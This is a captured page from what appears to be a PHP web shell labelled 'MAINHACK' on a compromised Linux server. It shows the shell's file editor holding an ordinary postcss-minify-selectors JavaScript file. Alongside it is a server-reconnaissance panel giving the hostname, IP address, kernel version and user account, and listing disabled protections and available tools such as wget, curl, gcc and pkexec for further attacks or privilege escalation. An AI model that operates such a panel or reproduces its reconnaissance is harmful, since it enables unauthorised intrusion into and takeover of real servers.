[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = void 0; var _postcssSelectorParser = _interopRequireDefault(require("postcss-selector-parser")); var _canUnquote = _interopRequireDefault(require("./lib/canUnquote.js")); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } const pseudoElements = new Set(['::before', '::after', '::first-letter', '::first-line']); function attribute(selector) { if (selector.value) { if (selector.raws.value) { // Join selectors that are split over new lines selector.raws.value = selector.raws.value.replace(/\\\n/g, '').trim(); } if ((0, _canUnquote.default)(selector.value)) { selector.quoteMark = null; } if (selector.operator) { selector.operator = selector.operator.trim(); } } selector.rawSpaceBefore = ''; selector.rawSpaceAfter = ''; selector.spaces.attribute = { before: '', after: '' }; selector.spaces.operator = { before: '', after: '' }; selector.spaces.value = { before: '', after: selector.insensitive ? ' ' : '' }; selector.raws.spaces.attribute = { before: '', after: '' }; selector.raws.spaces.operator = { before: '', after: '' }; selector.raws.spaces.value = { before: '', after: selector.insensitive ? ' ' : '' }; if (selector.insensitive) { selector.raws.spaces.insensitive = { before: '', after: '' }; } selector.attribute = selector.attribute.trim(); } function combinator(selector) { const value = selector.value.trim(); selector.spaces.before = ''; selector.spaces.after = ''; selector.rawSpaceBefore = ''; selector.rawsSpaceAfter = ''; selector.value = value.length ? value : ' '; } const pseudoReplacements = new Map([[':nth-child', ':first-child'], [':nth-of-type', ':first-of-type'], [':nth-last-child', ':last-child'], [':nth-last-of-type', ':last-of-type']]); function pseudo(selector) { const value = selector.value.toLowerCase(); if (selector.nodes.length === 1 && pseudoReplacements.has(value)) { const first = selector.at(0); const one = first.at(0); if (first.length === 1) { if (one.value === '1') { selector.replaceWith(_postcssSelectorParser.default.pseudo({ value: pseudoReplacements.get(value) })); } if (one.value.toLowerCase() === 'even') { one.value = '2n'; } } if (first.length === 3) { const two = first.at(1); const three = first.at(2); if (one.value.toLowerCase() === '2n' && two.value === '+' && three.value === '1') { one.value = 'odd'; two.remove(); three.remove(); } } return; } const uniques = new Set(); selector.walk(child => { if (child.type === 'selector') { const childStr = String(child); if (!uniques.has(childStr)) { uniques.add(childStr); } else { child.remove(); } } }); if (pseudoElements.has(value)) { selector.value = selector.value.slice(1); } } const tagReplacements = new Map([['from', '0%'], ['100%', 'to']]); function tag(selector) { const value = selector.value.toLowerCase(); if (tagReplacements.has(value)) { selector.value = tagReplacements.get(value); } } function universal(selector) { const next = selector.next(); if (next && next.type !== 'combinator') { selector.remove(); } } const reducers = new Map([['attribute', attribute], ['combinator', combinator], ['pseudo', pseudo], ['tag', tag], ['universal', universal]]); function pluginCreator() { return { postcssPlugin: 'postcss-minify-selectors', OnceExit(css) { const cache = new Map(); const processor = (0, _postcssSelectorParser.default)(selectors => { const uniqueSelectors = new Set(); selectors.walk(sel => { // Trim whitespace around the value sel.spaces.before = sel.spaces.after = ''; const reducer = reducers.get(sel.type); if (reducer !== undefined) { reducer(sel); return; } const toString = String(sel); if (sel.type === 'selector' && sel.parent.type !== 'pseudo') { if (!uniqueSelectors.has(toString)) { uniqueSelectors.add(toString); } else { sel.remove(); } } }); selectors.nodes.sort(); }); css.walkRules(rule => { const selector = rule.raws.selector && rule.raws.selector.value === rule.selector ? rule.raws.selector.raw : rule.selector; // If the selector ends with a ':' it is likely a part of a custom mixin, // so just pass through. if (selector[selector.length - 1] === ':') { return; } if (cache.has(selector)) { rule.selector = cache.get(selector); return; } const optimizedSelector = processor.processSync(selector); rule.selector = optimizedSelector; cache.set(selector, optimizedSelector); }); } }; } pluginCreator.postcss = true; var _default = pluginCreator; exports.default = _default; module.exports = exports.default;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.57 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002